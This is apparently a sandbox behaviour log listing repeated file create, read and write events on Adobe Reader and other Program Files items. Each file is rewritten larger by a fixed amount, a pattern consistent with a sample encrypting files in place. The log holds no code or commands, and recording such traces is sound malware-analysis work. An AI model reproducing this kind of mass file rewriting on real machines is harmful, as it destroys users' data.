File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ko-KR\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ko-KR\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ko-KR\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ko-KR\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ko-KR\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nn-NO\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nn-NO\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nn-NO\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nn-NO\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nn-NO\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\script.min.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\script.min.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\script.min.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\script.min.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sr-Latn-RS\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sr-Latn-RS\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sr-Latn-RS\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sr-Latn-RS\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sr-Latn-RS\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.002.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.002.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.002.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.002.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.002.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.028.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.028.etl, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.028.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.028.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.028.etl, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CollectSignatures.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CollectSignatures.aapp, size = 383, size_out = 383	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CollectSignatures.aapp, size = 1799	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\EPDF_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\EPDF_RHP.aapp, size = 402, size_out = 402	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\EPDF_RHP.aapp, size = 1818	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Stamp.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Stamp.aapp, size = 569, size_out = 569	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Stamp.aapp, size = 1985	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\JSByteCodeWin.bin, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\JSByteCodeWin.bin, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\JSByteCodeWin.bin, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\JSByteCodeWin.bin, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\JSByteCodeWin.bin, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\JSByteCodeWin.bin, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api, size = 61440, size_out = 61440	8	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api, size = 8192, size_out = 8192	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api, size = 61440	8	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\Flash.mpp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\Flash.mpp, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\Flash.mpp, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\Flash.mpp, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\Flash.mpp, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\reflow.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\reflow.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\reflow.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\reflow.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\reflow.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvDX9.x3d, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvDX9.x3d, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvDX9.x3d, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvDX9.x3d, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvDX9.x3d, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\drvDX9.x3d, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\br.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\br.gif, size = 82, size_out = 82	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\br.gif, size = 1498	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\form_responses.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\form_responses.gif, size = 969, size_out = 969	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\form_responses.gif, size = 2385	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_email.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_email.gif, size = 1405, size_out = 1405	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_email.gif, size = 2821	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\tr.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\tr.gif, size = 85, size_out = 85	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\tr.gif, size = 1501	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\index.html, size = 3374, size_out = 3374	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\index.html, size = 4790	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner.gif, size = 6789, size_out = 6789	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\A12_Spinner.gif, size = 8205	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-72x72-precomposed.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-72x72-precomposed.png, size = 3725, size_out = 3725	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-72x72-precomposed.png, size = 5141	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_bow.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_bow.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_bow.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_hiContrast_bow.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\logo_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\logo_retina.png, size = 6955, size_out = 6955	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\logo_retina.png, size = 8371	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner.gif, size = 6789, size_out = 6789	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner.gif, size = 8205	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-72x72-precomposed.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-72x72-precomposed.png, size = 3725, size_out = 3725	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-72x72-precomposed.png, size = 5141	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\japanese_over.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\japanese_over.png, size = 568, size_out = 568	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\japanese_over.png, size = 1984	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\RHP_icons_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\RHP_icons_2x.png, size = 1719, size_out = 1719	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\RHP_icons_2x.png, size = 3135	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-right.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-right.png, size = 298, size_out = 298	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-right.png, size = 1714	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-right.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-right.gif, size = 64, size_out = 64	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-right.gif, size = 1480	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-up.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-up.gif, size = 57, size_out = 57	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-up.gif, size = 1473	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fi-fi\ui-strings.js, size = 3584, size_out = 3584	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fi-fi\ui-strings.js, size = 5000	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pl-pl\ui-strings.js, size = 3807, size_out = 3807	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pl-pl\ui-strings.js, size = 5223	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\uk-ua\ui-strings.js, size = 4961, size_out = 4961	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\uk-ua\ui-strings.js, size = 6377	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-gb\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-gb\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-gb\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ja-jp\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ja-jp\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ja-jp\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
